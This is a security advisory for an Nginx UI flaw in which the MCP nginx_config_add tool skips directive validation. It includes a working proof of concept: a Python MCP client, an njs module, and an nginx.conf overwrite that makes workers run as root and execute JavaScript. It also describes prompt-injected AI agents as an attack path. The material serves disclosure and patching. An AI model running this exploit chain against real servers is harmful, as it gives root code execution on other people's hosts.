GHSA-76pm-mq2q-9gcr CVE-2026-84317 GO-2026-6779
Nginx UI: MCP nginx_config_add skips config directive validation → authenticated nginx directive injection (RCE on the official image)
- Severity
- 8.8 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.48%
- Chance of exploitation in the next 30 days. Higher than 41.26% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Fix
1.9.10-0.20260703131214-23d1934099b0- Upgrade github.com/0xJacky/Nginx-UI to this version or later
Description
Summary
internal/config/validation.go (ValidateConfigFile) is a security control that blocks dangerous
nginx directives — js_*, perl_*, load_module of the njs/perl modules, and user root. It is
enforced on three of the four config-write paths: api/config/add.go, api/config/modify.go, and
mcp/config/config_modify.go. The fourth path — the MCP tool nginx_config_add
(mcp/config/config_add.go) — does NOT call it: it writes the caller-supplied content straight to
disk and reloads nginx. An authenticated MCP caller (or an MCP agent induced via prompt injection)
can therefore inject exactly the directives the control is meant to block, leading to nginx code
execution on deployments where the njs/perl module is available (e.g. the official Docker image).
Root cause — an incomplete hardening patch
Commit 3e411d38 ("Harden config write paths", 2026-04-21) introduced ValidateConfigFile and
wired it into the config-write paths — but its changeset touched only:
api/config/add.go (+6), api/config/modify.go (+8), internal/config/validation.go (+199),
mcp/config/config_modify.go (+5)
It did NOT touch mcp/config/config_add.go. So the MCP add path was left without the validation
that all of its sibling paths received. config_add.go has never called ValidateConfigFile
(verified via git history); this is an oversight in the hardening, not a regression.
Affected code (mcp/config/config_add.go, handleNginxConfigAdd)
content := mcp.GetString(args, "content") // caller-controlled
...
path, err := config.ResolveConfPath(baseDir, name) // path is sandboxed to the conf dir (OK)
...
err = os.WriteFile(path, []byte(content), 0644) // <-- no config.ValidateConfigFile(path, content)
...
res := nginx.Control(nginx.Reload) // reloads nginx
Contrast — the guarded sibling (mcp/config/config_modify.go) does:
err = config.ValidateConfigFile(absPath, content) // rejects js_*/perl_*/load_module/user root
if err != nil { return nil, err }
Proof of Concept (live, Docker, official image)
Image uozi/nginx-ui:2.3.11, nginx 1.31.0. Authenticated with a valid node secret
(X-Node-Secret). MCP over SSE; client script poc_mcp_client.py attached.
-
Validation bypass (decisive):
tools/call nginx_config_add {name:"poc_blocked.conf", base_dir:"sites-available", content:"js_import poc.js;\nperl_set $x 'sub{return 1}';\nuser root;\nload_module .../ngx_http_js_module.so;"}→ SUCCESS; file written verbatim (confirmed on disk).- Same content via
nginx_config_modify→ REJECTED:{"code":-32603,"message":"file content contains restricted nginx directive: js_import"}.
-
Effect (using only the vulnerable config_add tool):
- Wrote
/etc/nginx/poc.js(njs module) and overwrote/etc/nginx/nginx.confwithload_module .../ngx_http_js_module.so; user root; ... js_import poc ...; server{ listen 8899; location=/pwn { js_content poc.pwn; } }. Tool returned SUCCESS (reload succeeded;nginx -tok). /proc/<worker>/status→Uid: 0 0 0 0(workers run as root —user roottook effect).GET http://127.0.0.1:8899/pwn→pwned(njsjs_contentexecuted)./tmp/NJS_RCE_PROOF.txtcreated, owned by root → JavaScript code execution in the nginx worker performing arbitrary file write as root.
- Wrote
Reproduction payloads (self-contained)
njs module written to /etc/nginx/poc.js via nginx_config_add (name="poc.js", base_dir=""):
import fs from 'fs';
function pwn(r){
try{ fs.writeFileSync('/tmp/NJS_RCE_PROOF.txt','njs-code-exec-ok\n'); }catch(e){ r.return(200,'ERR:'+e); return; }
r.return(200,'pwned\n');
}
export default { pwn };
Main config overwritten via nginx_config_add (name="nginx.conf", base_dir="", overwrite=true):
load_module /usr/lib/nginx/modules/ngx_http_js_module.so;
user root;
worker_processes 1;
error_log /var/log/nginx/error.log notice;
pid /run/nginx.pid;
events { worker_connections 1024; }
http {
include /etc/nginx/mime.types;
default_type application/octet-stream;
js_import poc from /etc/nginx/poc.js;
server { listen 8899; location = /pwn { js_content poc.pwn; } }
}
PoC client (MCP-over-SSE, Python stdlib only)
Set SECRET to a valid node secret (printed in nginx-ui's first-boot logs) or a user JWT.
Usage: python3 poc_mcp_client.py list then python3 poc_mcp_client.py call <tool> '<json-args>'.
import sys, json, threading, queue, time, http.client
BASE = "127.0.0.1:9000"
SECRET = "<NODE_SECRET_OR_JWT>"
HDR = {"X-Node-Secret": SECRET} # or {"Authorization": "Bearer <JWT>"}
resp_q = queue.Queue(); endpoint = {}
def sse_reader():
conn = http.client.HTTPConnection(BASE, timeout=60)
conn.request("GET", "/mcp", headers={**HDR, "Accept": "text/event-stream"})
r = conn.getresponse(); event = None
while True:
line = r.fp.readline()
if not line: break
line = line.decode("utf-8","replace").rstrip("\r\n")
if line.startswith("event:"): event = line[6:].strip()
elif line.startswith("data:"):
data = line[5:].strip()
if event == "endpoint": endpoint["url"] = data; endpoint["ready"] = True
else: resp_q.put(data)
elif line == "": event = None
def post(obj):
conn = http.client.HTTPConnection(BASE, timeout=30)
conn.request("POST", endpoint["url"], body=json.dumps(obj).encode(),
headers={**HDR, "Content-Type": "application/json"})
return conn.getresponse().read()
def wait(wid, t=20):
end = time.time()+t
while time.time() < end:
try: d = resp_q.get(timeout=t)
except queue.Empty: break
try: j = json.loads(d)
except Exception: continue
if j.get("id") == wid: return j
threading.Thread(target=sse_reader, daemon=True).start()
for _ in range(50):
if endpoint.get("ready"): break
time.sleep(0.1)
post({"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05",
"capabilities":{},"clientInfo":{"name":"poc","version":"1"}}}); wait(1)
post({"jsonrpc":"2.0","method":"notifications/initialized","params":{}})
cmd = sys.argv[1] if len(sys.argv) > 1 else "list"
if cmd == "list":
post({"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}})
print([t["name"] for t in wait(2)["result"]["tools"]])
elif cmd == "call":
post({"jsonrpc":"2.0","id":3,"method":"tools/call",
"params":{"name":sys.argv[2],"arguments":json.loads(sys.argv[3])}})
print(json.dumps(wait(3, 25), indent=1))
Impact
An authenticated MCP principal — or a connected AI agent subverted via prompt injection — bypasses
the directive-validation security control and injects directives the project explicitly blocks
elsewhere. On deployments with the njs/perl module available (the official Docker image ships
ngx_http_js_module.so), this yields code execution in the nginx worker and, via user root,
arbitrary file read/write as root (trivially escalated to full host compromise:
/root/.ssh/authorized_keys, /etc/cron.d/*, overwriting a binary). On stock nginx without those
modules it is a reliable DoS (failed reload) plus a user root privilege regression.
Honest scope / caveats
- Authenticated (node secret or user JWT), agent-mediated — not unauthenticated.
- RCE is conditional on the njs/perl module being present; it ships in the official image, so the default Docker deployment is exploitable. Stock nginx without those modules → DoS instead.
- The write path is sandboxed to the nginx conf dir (no path traversal); the bug is directive injection. (The main nginx.conf is inside that dir and can be overwritten with overwrite=true.)
- nginx-ui runs as root by design (it manages nginx); the bypass additionally lets request-handling
workers run as root via
user root.
Suggested fix
Call config.ValidateConfigFile(path, content) in handleNginxConfigAdd before os.WriteFile,
matching mcp/config/config_modify.go and the API paths — i.e. complete the 3e411d38 hardening on
the one path it missed.
--- (NOT a form field — include this as the closing section of the Description above) ---
Dedup / novelty
Distinct from CVE-2026-33032 (GHSA-h6c2-x2m2-mwhf, "Unauthenticated MCP Endpoint"), whose root cause is a MISSING AUTH middleware on /mcp_message (now fixed by adding AuthRequired) and which does not involve config-content validation. This report is an AUTHENTICATED bypass of the directive-validation control on the config_add path, and works on a fully patched (post-33032) instance. No existing CVE/GHSA covers the config_add validation gap (checked osv.dev and the GitHub advisory database for this repo). Appears novel.
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| github.com/0xJacky/Nginx-UI | < 1.9.10-0.20260703131214-23d1934099b0 |
1.9.10-0.20260703131214-23d1934099b0 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
github.com/0xJacky/Nginx-UI Go → 1.9.10-0.20260703131214-23d1934099b0
- go
go get github.com/0xJacky/Nginx-UI@v1.9.10-0.20260703131214-23d1934099b0 && go mod tidy
Severity breakdown
CVSS 3.1 8.8
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Weakness
CWE-20: Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.
How to prevent it
- Architecture and Design: Consider using language-theoretic security (LangSec) techniques that characterize inputs using a formal language and build "recognizers" for that language. This effectively requires parsing to be a distinct layer that effectively enforces a boundary between raw input and internal data representations, instead of allowing parser code to be scattered throughout the program, where it could be subject to errors or inconsistencies that create weaknesses. [REF-1109] [REF-1110] [REF-1111]
- Architecture and Design: Use an input validation framework such as Struts or the OWASP ESAPI Validation API. Note that using a framework does not automatically address all input validation problems; be mindful of weaknesses that could arise from misusing the framework itself (CWE-1173).
- Architecture and Design, Implementation: Understand all the potential areas where untrusted inputs can enter the product, including but not limited to: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server. Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.
- Implementation: When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.
- Implementation: Be especially careful to validate all input when invoking code that crosses language boundaries, such as from an interpreted language to native code. This could create an unexpected interaction between the language boundaries. Ensure that you are not violating any of the expectations of the language with which you are interfacing. For example, even though Java may not be susceptible to buffer overflows, providing a large argument in a call to native code might trigger an overflow.
- Implementation: Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.
- Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control. Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.
- Implementation: When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.
CWE-693: Protection Mechanism Failure
The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GO-2026-6773 Nginx UI: Casdoor SSO callback uses a constant `state` parameter (login CSRF) | High | Also affects github.com/0xJacky/Nginx-UI |
| GHSA-vc32-4gwf-77xp Nginx UI: OTP secure-session step-up can be bypassed via MCP configuration tools | High | Also affects github.com/0xJacky/Nginx-UI |
| GHSA-wq4w-vwvq-q3x9 Nginx UI: Standalone short tokens survive administrative revocation in cache and authenticate again after account re-enable | Medium | Also affects github.com/0xJacky/Nginx-UI |
| GHSA-jrq7-xrjx-pcfw Nginx UI: Auto backup name allows path traversal outside validated storage path | Medium | Also affects github.com/0xJacky/Nginx-UI |
| GHSA-5r62-gj48-897x Nginx UI: MCP configuration tools bypass restricted directive validation and allow secondary authenticated users to execute NJS in Nginx worker context | High | Also affects github.com/0xJacky/Nginx-UI |
| GHSA-9jww-cxg5-rj9m Nginx UI: MCP `nginx_config_add` Bypasses Directive Validation — Authenticated RCE | High | Also affects github.com/0xJacky/Nginx-UI |
| GHSA-cf23-7qxj-xmhr Nginx UI: nginx config directive denylist (ValidateConfigFile) is bypassable via same-line ";" separation → authenticated directive injection (RCE on the official image) | High | Also affects github.com/0xJacky/Nginx-UI |
| GHSA-5v7c-xpfp-p65m Nginx UI OTP secure-session step-up is missing on sensitive mutation routes | High | Also affects github.com/0xJacky/Nginx-UI |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor